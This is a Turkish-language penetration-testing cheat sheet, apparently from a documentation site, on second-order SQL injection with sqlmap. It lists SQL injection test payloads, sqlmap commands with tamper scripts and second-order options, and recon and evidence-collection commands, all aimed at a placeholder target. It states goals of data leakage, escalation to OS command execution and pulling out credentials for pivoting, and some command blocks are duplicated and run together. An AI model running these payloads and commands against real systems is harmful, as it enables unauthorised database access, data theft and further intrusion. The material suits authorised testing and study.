Second Order Injection - SQLMap
web sqli
Second Order Injection - SQLMap SQL/Cypher sorgusuna kullanıcı girdisinin birleşmesiyle oluşur. Amaç: DBMS fingerprint, veri sızıntısı ve mümkünse OS/RCE yükseltmesi.
Metodoloji
Section titled “Metodoloji”-
Enjekte edilebilir parametreyi (GET/POST/JSON/header/cookie) izole et.
-
Boolean/time/OAST ile DBMS ve tekniği doğrula.
-
Veri okuma → dosya/OS komutuna yükselt.
-
Kanıt paketle; pivot için credential çıkar.
Tespit
Section titled “Tespit”' OR '1'='11' AND SLEEP(5)-- -1' AND 1=CAST((SELECT version()) AS int)-- -sqlmap -u 'https://TARGET/item?id=1' --batch --banner --current-user --current-dbghauri -u 'https://TARGET/item?id=1' --dbssqlmap temel
Section titled “sqlmap temel”sqlmap -u 'https://TARGET/item?id=1' --batch --level=3 --risk=2sqlmap -r req.txt --batch --dbssqlmap -u 'https://TARGET/item?id=1' --tamper=space2comment,between --batchsqlmap -u 'https://TARGET/search' --data='q=test' -p q --batchSecond-order sqlmap
Section titled “Second-order sqlmap”sqlmap -u 'https://TARGET/profile' --data='name=FUZZ' --second-url='https://TARGET/welcome' --batchsqlmap -r update-profile.txt --second-req=view-profile.txt --batchinject noktası ≠ reflection noktası; --second-url / --second-req zorunluOperasyon notları
Section titled “Operasyon notları”Second Order Injection - SQLMap sonuçları hedef sürüme ve yığına göre değişir. Her başarılı adımı request/response ile kaydet; sonraki pivot’u not et.
Ek komutlar
Section titled “Ek komutlar”curl -sk https://TARGET/robots.txtnuclei -u https://TARGET -as -silentffuf -u https://TARGET/FUZZ -w /usr/share/seclists/Discovery/Web-Content/common.txt -mc 200,204,301,302,403GET / HTTP/1.1Host: TARGETAccept: */*mkdir -p evidence/web && tee evidence/web/notes.txtBu ekler keşif ve kanıt paketini hızlandırır; asıl sömürü üstteki bölümlerdeki konu-özel payload’larla yapılır.
Ek keşif komutları
Section titled “Ek keşif komutları”curl -sk https://TARGET/robots.txtcurl -sk https://TARGET/sitemap.xmlffuf -u https://TARGET/FUZZ -w /usr/share/seclists/Discovery/Web-Content/common.txt -mc 200,204,301,302,403nuclei -u https://TARGET -as -silentGET / HTTP/1.1Host: TARGETAccept: */*Kanıt toplama
Section titled “Kanıt toplama”mkdir -p evidence/web && tee evidence/web/notes.txtrequest/responsezaman damgasıkullanılan hesapetki özeticurl -sk https://TARGET/ -D evidence/web/headers.txt -o evidence/web/body.html